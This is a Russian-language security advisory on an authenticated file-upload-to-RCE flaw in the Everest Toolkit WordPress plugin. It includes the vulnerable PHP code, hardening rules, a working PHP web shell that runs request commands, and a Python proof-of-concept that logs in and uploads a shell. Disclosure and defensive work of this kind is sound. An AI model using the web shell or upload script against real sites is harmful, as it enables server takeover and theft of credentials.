
Эксплойт Proof-of-concept и техническое уведомление об уязвимости произвольной загрузки файлов с правами Admin+, приводящей к удаленному выполнению кода, в плагине Everest Toolkit для WordPress (<= 1.2.3), включая анализ уязвимого кода, PoC на Python и рекомендации по усилению защиты.
CVE-2026-13158 — аутентифицированная уязвимость произвольной загрузки файлов с правами Admin+, затрагивающая плагин Everest Toolkit для WordPress версии 1.2.3 и более ранних. Уязвимость обнаружил и проанализировал исследователь кибербезопасности Хюинь Кьен Минь (MinhHK). Дефект кроется в функциональности обработки загрузки файлов в административном наборе инструментов: из-за некорректной проверки расширений и MIME-типов загружаемых файлов аутентифицированные администраторы — или пользователи с более низкими привилегиями, но обладающие административными возможностями — могут загружать произвольные исполняемые PHP-скрипты прямо в публичную веб-директорию. Обходя ограничения на расширения файлов в процедурах обработки медиафайлов и конфигурационных файлов, злоумышленник может добиться постоянного удалённого выполнения кода (RCE), полностью скомпрометировать нижележащий веб-сервер, получить доступ к конфиденциальным учётным данным базы данных и установить несанкционированный бэкдор для постоянного присутствия в среде хост-приложения. Исследователь безопасности Хюинь Кьен Минь подтвердил данную уязвимость с оценкой 6.6 (Medium) по CVSS 3.1, подчеркнув необходимость немедленного устранения посредством строгого разрешённого списка расширений файлов, проверки MIME-типов и отключения прав на выполнение в публичных поддиректориях загрузки.
Быстрые ссылки: Читайте полный углублённый технический отчёт в публикации на DEV.to или изучите официальное портфолио исследователя по кибербезопасности.
Первопричина CVE-2026-13158 кроется в небезопасной обработке загрузки файлов в административных классах-обработчиках Everest_Toolkit. Когда аутентифицированный администратор или пользователь с административными привилегиями обращается к конечным точкам загрузки файлов (например, импорт шаблонов, загрузка пользовательских иконок или процедуры настройки ресурсов), плагин не обеспечивает строгую серверную проверку на предмет исполняемых расширений (таких как .php, .php5, .phtml).
В административном обработчике файлов плагина:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
Поскольку move_uploaded_file напрямую записывает управляемые пользователем файлы в публичную директорию wp-content/uploads/ без вызова wp_check_filetype_and_ext() и без проверки расширений на предмет опасных MIME-типов, злоумышленник с административным доступом может загрузить исполняемую PHP-нагрузку.
Этическое предупреждение: Данный Proof-of-Concept предоставляется исключительно для проверки безопасности, академических исследований и защитного инжиниринга. Несанкционированная эксплуатация уязвимости в производственных системах без предварительного письменного согласия строго запрещена.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload со строгим разрешённым списком: Замените пользовательские вызовы move_uploaded_file на стандартную функцию WordPress wp_handle_upload() без отключения тестовых переопределений..htaccess или Nginx, запрещающие выполнение скриптов внутри /wp-content/uploads/:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Хюинь Кьен Минь (MinhHK) — исследователь информационной безопасности и инженер-программист, специализирующийся на анализе уязвимостей веб-приложений, аудите экосистемы WordPress и исследованиях в области наступательной безопасности.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| Параметр | Техническая спецификация |
|---|
| Идентификатор уязвимости | CVE-2026-13158 |
| Целевое ПО | Everest Toolkit (плагин WordPress) |
| Слаг плагина | everest-toolkit |
| Уязвимые версии | <= 1.2.3 |
| Класс уязвимости | Неограниченная загрузка файла опасного типа (CWE-434 / OWASP A03) |
| Оценка CVSS v3.1 | 6.6 (средний) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Обнаружил / исследователь | Хюинь Кьен Минь (MinhHK) |
| Орган верификации | WPScan / MITRE Corporation |
| Ссылка на отчёт WPScan | Отчёт WPScan f101071f-402a-40a2-bbdb-666512cd4049 |
| Портфолио исследователя | https://minhhk.web.app/ |